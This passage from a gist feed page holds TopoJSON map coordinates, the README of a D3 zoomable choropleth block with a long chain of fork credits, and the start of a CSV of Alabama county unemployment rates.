,[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[-8,2],[1,25],[-4,24],[-3,-20],[1,-21],[-11,-64],[-3,16],[-1,-24],[-8,4],[-1,38],[-4,8],[-2,-14],[4,-16],[-2,-27],[-5,-13],[-5,29],[-5,2],[-1,-11],[5,-17],[-9,-27],[6,-7],[0,-13],[-5,9],[-7,-25],[-15,1],[-7,-16],[0,-13],[-8,-15],[-6,6],[-2,35],[6,12],[4,43],[6,1],[13,28],[10,1],[4,-27],[3,20],[-1,23],[6,10],[7,0],[8,50],[10,45],[12,40],[15,18],[6,-9],[6,12],[1,-17],[-3,-19],[4,-14],[1,23],[7,2],[2,-15],[5,-5],[0,18],[-8,15],[0,11],[5,49],[6,28],[9,27],[15,24],[10,35],[5,-13],[4,5],[-1,22],[1,21],[8,44],[11,28],[8,38],[0,21],[7,148],[11,40],[-1,31],[-27,-45],[-8,6],[-2,18],[-5,9],[-1,21],[-4,-10],[-3,-32],[5,-41],[-6,-18],[-5,7],[-9,64],[-6,33],[-4,0],[-2,-24],[-3,-4],[-4,19],[-5,4],[-2,32],[-16,-37],[-13,-26],[-1,-14],[-11,-22],[-6,20],[5,23],[-1,54],[-4,57],[7,24],[-6,49],[-5,27],[-4,39],[-6,17],[-2,-34],[-7,-8],[-12,-22],[-14,-9],[-7,2],[-7,12],[-1,30],[-5,9],[-9,42],[-8,8],[-8,46],[6,21],[1,39],[-5,-8],[0,24],[2,19],[-6,18],[0,-19],[-7,8],[-1,32],[-6,4],[-3,22],[0,27],[-5,-12],[-1,26],[7,6],[-6,30],[10,2],[0,35],[2,24],[18,77],[4,23],[3,-5],[-2,33],[7,55],[6,22],[11,9],[8,-9],[12,-33],[8,4],[11,32],[11,49],[6,6],[1,-13],[13,0],[12,10],[11,52],[0,12],[-5,48],[-1,28],[-8,31],[-3,26],[8,-7],[8,22],[0,20],[-10,39],[-8,-30],[-7,5],[-6,-17],[-8,-4],[-2,-11],[-9,-17],[-2,-28],[-5,-12],[-2,34],[-5,7],[-4,-26],[-2,12],[-10,19],[-20,-1],[-14,-21],[-6,-3],[-11,13],[-22,14],[-6,12],[-3,19],[2,26],[-8,22],[2,24],[5,12],[-2,31],[-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/1bfb2602816244f016b7ba9efd791114">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/036c2a6819ca5211d6b51efa7cd7f008</link>
      <guid isPermaLink="true">https://gist.github.com/036c2a6819ca5211d6b51efa7cd7f008</guid>
      <pubDate>Wed, 21 Sep 2016 18:11:24 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:11:24.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5105</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6408</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f644e13737e8a14417ebbd4374e1281b&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
